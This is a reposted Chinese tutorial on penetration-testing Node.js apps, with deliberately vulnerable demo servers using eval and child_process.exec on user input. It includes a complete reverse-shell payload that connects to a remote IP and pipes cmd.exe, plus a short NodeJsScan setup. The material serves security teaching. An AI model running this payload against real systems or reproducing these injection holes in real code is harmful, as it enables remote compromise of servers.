从零开始学习渗透Node.js应用程序

Posted i春秋

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了从零开始学习渗透Node.js应用程序相关的知识,希望对你有一定的参考价值。

i春秋社区

前言

简单的说 Node.js 就是运行在服务端的 javascript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。Node.js使用Module模块去划分不同的功能,以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node.js的类库都包含了十分丰富的各类函数,比如http模块就包含了和http功能相关的很多函数,可以帮助开发者很容易地对比如http,tcp/udp等进行操作,还可以很容易的创建http和tcp/udp的服务器。

1

Node.js安装配置

这里我主要给大家演示在Windows Sever 2008 R2 x64系统上安装Node.js的方法。
官网:https://nodejs.org/en/download/ 下载软件。

下载完成后运行,然后一直Next就好了。


从零开始学习渗透Node.js应用程序


最后点击Finish。
检查环境变量:


从零开始学习渗透Node.js应用程序


我们可以看到环境变量中已经包含了
C:\Program Files\nodejs\
牛刀小试:创建第一个Node.js应用
我们使用php来开发web服务时,需要Apache这样的Web容器。不过对Node.js 来说,概念完全不一样了。使用 Node.js 时,我们不仅仅在实现一个应用,同时还实现了整个 HTTP 服务器。事实上,我们的 Web 应用以及对应的 Web 服务器基本上是一样的。
我们以创建一个输出hello world的Node.js应用为例子。

在Node.js中,我们以require指令来载入模块,既然我们要创建HTTP服务器,所以我们要来载入模块HTTP:

[JavaScript]

var http = require("http");

 

然后我们使用http模块的createServer()方法来创建服务器:

 

var http = require('http');   

http.createServer(function (request, response) { 

    // 发送 HTTP 头部 

    // HTTP 状态值: 200 : OK

    // 内容类型: text/plain

    response.writeHead(200, {'Content-Type': 'text/plain'}); 

    // 发送响应数据 "Hello World"

    response.end('Hello World\n');

}).listen(80);

 

// 终端打印如下信息

console.log('Server running at [url]http://127.0.0.1/'[/url]);

命令运行脚本:


从零开始学习渗透Node.js应用程序


然后我们在另一台机器上访问看看,注意关闭防火墙:


从零开始学习渗透Node.js应用程序


2

服务端代码注入

Node.js的代码注入与PHP代码注入差不多,同样是围绕着eval函数,所以,如果在你的代码中存在eval函数,而且其中的参数是可控的话,那你就危险了。代码注入漏洞的危害很大,可以直接获得一个Shell。
demo代码:
[JavaScript]

var http = require('http');

var url = require('url');

var util = require('util');

 

http.createServer(function (req, res) {

    res.writeHead(200, {'Content-Type': 'text/html'})

    var params = url.parse(req.url, true).query;

    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");

    var a = params.a;

    var b = params.b;

    var s =a + b;

    res.write("结果:" + a + "+" + b +"=" + s);

    res.write("</body></html>");

    res.end();

}).listen(80);

 

// 终端打印如下信息

console.log('Server running at [url]http://127.0.0.1/'[/url]);

这个代码就是计算输入的两个数之和,但是两个变量的类型都是字符串,所以相加的结果是字符串连接:


从零开始学习渗透Node.js应用程序

这里就想着用eval函数转换输入的参数类型。

最终demo代码:

[JavaScript]

var http = require('http');

var url = require('url');

var util = require('util');

 

http.createServer(function (req, res) {

    res.writeHead(200, {'Content-Type': 'text/html'})

    var params = url.parse(req.url, true).query;

    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");

    var a = eval(params.a);

    var b = eval(params.b);

    var s =a + b;

    res.write("结果:" + a + "+" + b +"=" + s);

    res.write("</body></html>");

    res.end();

}).listen(80);

 

// 终端打印如下信息

console.log('Server running at [url]http://127.0.0.1/'[/url]);


然后得到的结果就是两数之和了:


从零开始学习渗透Node.js应用程序

但是因为使用了eval函数也就导致了代码注入,我们可以构建一个反弹shell执行。

反弹shell代码:
[JavaScript] 

function tan(){

    var net = require("net"),

        cp = require("child_process"),

        cmd = cp.spawn("cmd.exe", []);

    var client = new net.Socket();

    client.connect(3434, "192.168.146.129", function(){

        client.pipe(cmd.stdin);

        cmd.stdout.pipe(client);

        cmd.stderr.pipe(client);

    });

    return 1;

}tan();

我们先使用nc来监听本地端口3434:


从零开始学习渗透Node.js应用程序


然后在web端利用漏洞进行代码注入:


从零开始学习渗透Node.js应用程序


然后成功反弹shell:


从零开始学习渗透Node.js应用程序


3

系统命令执行

在Node.js中,系统命令执行漏洞一般由模块 child_process 的函数引起的,child_process即子进程可以创建一个系统子进程并执行shell命令。
demo-创建一个ping工具:
[JavaScript] 

var http = require('http');

var url = require('url');

var util = require('util');

var child_process = require('child_process');

var iconv = require('iconv-lite');

var encoding = 'cp936';

var binaryEncoding = 'binary';

 

http.createServer(function (req, res) {

    res.writeHead(200, {'Content-Type': 'text/html'})

    var params = url.parse(req.url, true).query;

    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");

    child_process.exec('ping '+params.ip, { encoding: binaryEncoding }, function(err, stdout, stderr){

    res.write(iconv.decode(new Buffer(stdout, binaryEncoding), encoding), iconv.decode(new Buffer(stderr, binaryEncoding), encoding));

});

    res.write("</body></html>");

}).listen(80);

 

// 终端打印如下信息

console.log('Server running at [url]http://127.0.0.1/'[/url]);


演示:


从零开始学习渗透Node.js应用程序


令注入:


从零开始学习渗透Node.js应用程序

4

odeJsScan


从零开始学习渗透Node.js应用程序


注意本工具需要postgresql数据库,所以我们还需要下载安装postgresql数据库。
创建数据库:
python createdb.py
数据库设置在core/settings.py文件中
运行
python app.py
然后在http://0.0.0.0:9090打开,注意要设置DEBUG = True


从零开始学习渗透Node.js应用程序


5

总结

大部分的漏洞都是源于不安全的用户输入。所以,要坚持一切用户输入都是有害的法则,针对用户的一切输入进行过滤。确保使用了合适的中间件来避免不可信的流程。


6

参考文章

1、http://resources.infosecinstitut ... pplications-part-1/
2、http://resources.infosecinstitut ... pplications-part-2/
3、https://wiremask.eu/writeups/rev ... nodejs-application/

本文属i春秋原创奖励计划,未经许可禁止转载!

参与活动在i春秋社区发帖并注明参与奖励计划即可!

戳阅读原文,了解更多详情~


以上是关于从零开始学习渗透Node.js应用程序的主要内容,如果未能解决你的问题,请参考以下文章

基于3个操作系统的靶场,从零开始做安全渗透工程师

渗透测试 Node.js 应用

「Node学习笔记」Node.js的模块实现及编译

从零开始学习React Native开发

从零开始学习React Native开发

从零开始学WEB前端——网页的骨架——HTML理论讲解